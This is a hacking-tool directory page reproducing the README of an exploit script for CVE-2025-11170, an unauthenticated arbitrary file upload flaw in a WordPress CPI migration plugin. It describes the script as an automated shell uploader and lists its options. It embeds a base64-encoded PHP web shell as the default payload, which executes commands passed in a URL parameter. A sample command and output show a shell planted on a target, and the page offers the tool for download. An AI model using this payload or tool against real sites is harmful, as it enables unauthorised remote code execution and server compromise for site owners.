Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-11170 — WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-11170
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubnxploited/cve-2025-11170

CVE-2025-11170

WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload

View Repository
210 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-11170

WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload

🚀 WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload

📝 Description

The WP移行専用プラグイン for CPI plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the Cpiwm_Import_Controller::import function in all versions up to, and including, 1.0.2.
This allows unauthenticated attackers to upload arbitrary files to the affected site's server, potentially enabling remote code execution.

🛡️ Vulnerability Details

  • CVE: CVE-2025-11170
  • CVSS Score: 9.8 (Critical)
  • Attack Vector: Unauthenticated remote file upload

⚡ Script Info

  • Script Name: CVE-2025-11170.py
  • Purpose: Automated shell/file uploader exploit for vulnerable WordPress CPI migration plugin.
  • 🔧 Usage

    Arguments

    ArgumentDescription
    -u, --urlBase target URL (e.g., http://target.com/wordpress/). The script appends wp-admin/admin-ajax.php automatically.
    -f, --filenameShell or file name to upload. Default: shell.php
    -d, --dataFile content in base64 (or raw text). Default: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
    -i, --indexIndex field value. Default: 0
    -H, --headersExtra HTTP headers (format: X-Key:Value;K2:Value2)
    -t, --timeoutTimeout for HTTP request (seconds). Default: 10
    --retriesNumber of retry attempts. Default: 3
    --backoffBackoff factor between retries (seconds). Default: 0.7
    -v, --verboseIncrease verbosity for debugging (repeatable)

    🚦 Methods Explained

    • Nxploited_parse_args
      Parses and validates input arguments. Ensures the right endpoint structure, headers, and data encoding.

    • Nxploited_logging
      Sets up advanced logging and verbosity for a detailed or minimal runtime output.

    • Nxploited_retry_session
      Initializes a persistent session with retry and backoff logic for resilient communications.

    • Nxploited_build_payload
      Constructs the POST request parameters for exploitation.

    • Nxploited_send
      Performs the actual POST request to the vulnerable endpoint and manages responses/errors.

    • Nxploited_output_result
      Processes and formats the response, displaying shell path on success, or debugging info otherwise.


    💡 Example Usage

    root@kitploit:~
    python3 CVE-2025-11170.py -u "http://192.168.100.74:888/wordpress/" -f "shell.php"
    

    Example Output:

    root@kitploit:~
    Uploading shell...
    Processing response...
    [+] Upload successful!
    Shell path:
    http://192.168.100.74:888/wordpress/wp-content/plugins/cpi-wp-migration/storage/shell.php
    Nxploited
    My GitHub: https://github.com/Nxploited
    

    🚨 Disclaimer

    This script is provided for educational purposes only.
    Usage of this exploit on targets without proper authorization may be illegal.
    The author assumes NO responsibility for any misuse, damages, or legal consequences.


    📢 Reach Me

    GitHub: Nxploited
    Telegram: KNxploited


    By: Nxploited ( Khaled Alenazi )

    Download Tool